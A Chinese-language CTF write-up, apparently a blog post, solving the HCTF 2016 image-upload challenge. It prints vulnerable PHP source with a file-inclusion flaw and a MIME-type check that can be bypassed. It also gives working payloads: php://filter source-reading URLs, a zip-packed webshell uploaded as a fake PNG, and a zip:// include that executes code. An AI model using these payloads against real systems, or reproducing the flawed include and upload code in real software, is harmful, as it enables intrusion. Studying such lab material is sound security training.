
由于本题是在《从0到1CTFer成长之路》一书接触到的。所以算是一种复现吧。
题目的css源码,被我从以下源码中剔除。我们直接看PHP源码即可。
有四个文件:home.php 和 upload.php 以及 show.php 和 function.php
题目源码如下:
// home.php
<?php
error_reporting(0);
@session_start();
posix_setuid(1000);
$fp = empty($_GET['fp']) ? 'fail' : $_GET['fp'];
if(preg_match('/\.\./',$fp))
{
die('No No No!');
}
if(preg_match('/rm/i',$_SERVER["QUERY_STRING"]))
{
die();
}
?>
<!DOCTYPE html>
<html>
<head>
<title></title>
<meta charset="utf-8">
</head>
<body>
<div class="container">
<div class="header clearfix">
<nav>
<ul class="nav nav-pills pull-right">
<li role="presentation" class="active"><a href="home.php?key=hduisa123">Home</a></li>
</ul>
</nav>
<h3 class="text-muted">pictures</h3>
</div>
<div class="jumbotron">
<h1>Pictures Storage</h1>
<p class="lead">在这里上传您的图片,我们将为您保存</p>
<form action="?fp=upload" method="POST" id="form" enctype="multipart/form-data">
<input type="file" id="image" name="image" class="btn btn-lg btn-success" style="margin-left: auto; margin-right: auto;">
<br>
<input type="submit" id="submit" name="submit" class="btn btn-lg btn-success" role="button" value="上传图片">
</form>
</div>
</div>
</body>
</html>
<?php
if($fp !== 'fail'){
if(!(include($fp.'.php'))){
?>
<div class="alert alert-danger" role="alert">没有此页面</div>
<?php
exit;
}
}
?>
// upload.php
<?php
include 'function.php';
if(isset($_POST['submit']) &&!empty($_FILES['image']['tmp_name'])){
$name =$_FILES['image']['tmp_name'];
$type =$_FILES['image']['type'];
$size =$_FILES['image']['size'];
if(!is_uploaded_file($name)){
?>
<div class="alert alert-danger" role="alert">图片上传失败,请重新上传</div>
<?php
exit;
}
if($type !== 'image/png'){
?>
<div class="alert alert-danger" role="alert">只能上传PNG图片</div>
<?php
exit;
}
if($size > 10240){
?>
<div class="alert alert-danger" role="alert">图片大小超过10KB</div>
<?php
exit;
}
$imagekey =create_imagekey();
move_uploaded_file($name,"uploads/$imagekey.png");
echo"<script>location.href='?fp=show&imagekey=$imagekey'</script>";
}
?>
// show.php
<?php
$imagekey = $_GET['imagekey'];
if(empty($imagekey)){
echo"<script>location.href='home.php'</script>";
exit;
}
?>
// function.php
<?php
function create_imagekey()
{
return sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . time() .mt_rand());
}
?>
搭建环境之后,进入到home.php页面之后,大概是下面这样的(由于没有css样式所以跟比赛时的UI不太一样,但是解题都是一样的)

发现了上传文件界面。随便上传一张图片,之后注意url栏中的变化。
页面提示了图片大小超过10KB,且url栏发生变化。
http://localhost/HCTF/2016/home.php?fp=upload
根据url传入的值和参数名,可以得知,fp很有可能是file pointer,而我们的upload这可能是一个php页面。

尝试将upload修改为home,也就是当前页面。观察页面的变化。
可以发现,当前页面包含了当前页面。在PHP中自身页面包含自身,会造成死循环。页面会一致转圈。我们不用管它。

由此,可以得出,这道题是一个道关于文件包含+文件上传的题目。
而这个文件包含的路径参数前半部分可控,后半部分不可控。即.php不可控。
我们直接访问upload.php,没有报404错误,只是页面是空白的。那么可以证明,该文件是存在的。

尝试使用php的伪协议,filter协议获取home.php文件源码和upload.php文件源码。
由于后半部分我们不可控制,我们直接输入home,经过与后半部分的拼接,就成了home.php。
构造payload:
home.php?fp=php://filter/read=convert.base64-encode/resource=home

可以发现,页面返回了,home.php文件地代码。只不过经过我们的base64编码。所以我们只需要进行base64解码即可。
经过解码之后,得到如下源码:
<?php
error_reporting(0); // 关闭报错回显
@session_start(); // 启动新会话
posix_setuid(1000); // 设置进程的uid
// 判断fp参数为空,为空则将字符串'fail'赋值给$fp,不为空则将传入的值赋值给$fp变量。
$fp = empty($_GET['fp']) ? 'fail' : $_GET['fp'];
// 执行正则表达式匹配
if(preg_match('/\.\./',$fp)) // 匹配传入的值是否有\.\.
{
die('No No No!'); // 如果传入的参数存在\.\. 则退出代码的执行,并在页面输出No No No!
}
// $_SERVER["QUERY_STRING"] 该全局变量主要获取url中?后面的所有字符串。
/*
比如url是:http://localhost/HCTF/2016/home.php?fp=helloworld
则 $_SERVER["QUERY_STRING"]获取的就是: fp=helloworld
/*
// 从用户传入的值中执行正则表达式匹配。
if(preg_match('/rm/i',$_SERVER["QUERY_STRING"]))
{
die(); // 如果传入的值包含rm(i表示不区分大小写) 则退出程序的执行。
}
?>
<!-- 以下为HTML源码。没什么好说的,就是给了我们一个文件上传的框和上传图片的提交按钮。不再解析。 -->
<!DOCTYPE html>
<html>
<head>
<title></title>
<meta charset="utf-8">
</head>
<body>
<div class="container">
<div class="header clearfix">
<nav>
<ul class="nav nav-pills pull-right">
<li role="presentation" class="active"><a href="home.php?key=hduisa123">Home</a></li>
</ul>
</nav>
<h3 class="text-muted">pictures</h3>
</div>
<div class="jumbotron">
<h1>Pictures Storage</h1>
<p class="lead">在这里上传您的图片,我们将为您保存</p>
<form action="?fp=upload" method="POST" id="form" enctype="multipart/form-data">
<input type="file" id="image" name="image" class="btn btn-lg btn-success" style="margin-left: auto; margin-right: auto;">
<br>
<input type="submit" id="submit" name="submit" class="btn btn-lg btn-success" role="button" value="上传图片">
</form>
</div>
</div>
</body>
</html>
<?php
// 如果$fp变量的值不全等于fail。那么执行if语句内的if判断。
if($fp !== 'fail'){
// 文件包含$fp的值,比如$fp的值为home。那么经过拼接只会就为home.php
if(!(include($fp.'.php'))){
?>
<div class="alert alert-danger" role="alert">没有此页面</div>
<?php
exit; // 如果要包含的文件不存在则直接退出程序执行。
}
}
?>
我们还得知,该题中,存在upload.php,尝试使用php的filter协议获取该文件地源码。
?fp=php://filter/read=convert.base64-encode/resource=upload

经过base64解码之后,得到如下源码:
<?php
include 'function.php'; // 包含了function.php文件。
// 判断待上传的文件是否提交。
if(isset($_POST['submit']) &&!empty($_FILES['image']['tmp_name'])){
$name =$_FILES['image']['tmp_name']; // 获取文件上传到服务器临时存储的文件名
$type =$_FILES['image']['type']; // 获取文件的MIME类型
$size =$_FILES['image']['size']; // 获取文件的大小 单位字节。
if(!is_uploaded_file($name)){
?>
<div class="alert alert-danger" role="alert">图片上传失败,请重新上传</div>
<?php
exit;
}
// 判断文件的MIME类型是否为png (可绕过)
if($type !== 'image/png'){
?>
<div class="alert alert-danger" role="alert">只能上传PNG图片</div>
<?php
exit;
}
// 判断文件的大小是否小于 大于10240字节
if($size > 10240){
?>
<div class="alert alert-danger" role="alert">图片大小超过10KB</div>
<?php
exit;
} // 创建文件的key 该函数应该在function.php文件中定义。
$imagekey =create_imagekey(); // 将create_imagekey()加密的值返回给$imagekey变量
// 将文件移动到uploads目录下,并以$imagekey的值加上后缀.png命名。
// 注意在PHP中,被""包裹的变量可以正常解析。与普通变量一致。
move_uploaded_file($name,"uploads/$imagekey.png");
// 执行301跳转。
echo"<script>location.href='?fp=show&imagekey=$imagekey'</script>";
}
?>
通过审计代码发现,文件包含了function.php文件。并且对我们上传的文件进行了MIME的检查(只能上传MIME为image/png的文件)和对文件大小不能超过10kb的限制。最后将我们上传的文件进行重命名,将其移动到uploads目录。以$imagekey的值命名,并在其添加后缀.png。
可以发现,我们上传的文件存在了uploads文件夹下,并且以$imagekey的值命名。而上传成功的时候,会对我们进行跳转,而这个imagekey加上.png对应的值就为我们上传成功之后,保存的文件名。
再次使用php的filter协议,获取function.php文件的内容。
?fp=php://filter/read=convert.base64-encode/resource=function

经过base64解码,之后得到如下源码:
<?php
function create_imagekey() // 创建create_imagekey()函数。
{
// sha1() 用于计算一个字符串的SHA-1 散列
// $_SERVER['REMOTE_ADDR'] 获取客户端的IP地址
// $_SERVER['HTTP_USER_AGENT'] 获取客户端的User-agent
// time() php 内置函数可以获取当前时间的时间戳
// mt_rand() 生成随机数。 例如504817655
// 下面代码就是使用sha1()函数将下面几个超全局变量和函数的结果,作为要加密的值进行加密。并将结果返回给create_imagekey()函数本身。
return sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . time() .mt_rand());
}
?>
对题目的主要源码进行分析后,发现我们是不能将php文件直接上传,就算上传成功后,会对我们的文件进行重命名,并添加后缀为.png,这样的话我们的PHP文件就无法被成功执行。
因此。我们可以使用zip://或者phar://伪协议。上传一个压缩包。压缩包的内容,则为我们的webshell文件。即shell.php
上传一个shell.zip文件,通过burpsuite进行抓包,将Content-Type修改为image/png。之后发送即可。

之后我们发现了imagekey对应的值。即78e64c6c87eb3b3b6c413e5a7b0bdad5f241fcd7
而78e64c6c87eb3b3b6c413e5a7b0bdad5f241fcd7.png则是我们上传的文件名
使用zip://协议进行利用。
在使用zip://协议之前。需要在php.ini中将如下配置修改为On,重启php后生效。(自行搭建环境的时候需要)
allow_url_fopen = On
allow_url_inclue = On
构造payload:
home.php?shell=phpinfo();&fp=zip://uploads/78e64c6c87eb3b3b6c413e5a7b0bdad5f241fcd7.png%23shell

利用成功,传到include函数中,大概是下面这样的。

关于更多文件包含和伪协议的知识请参见:https://www.x1ong.fun/target/988.html
本文作者为blog,转载请注明。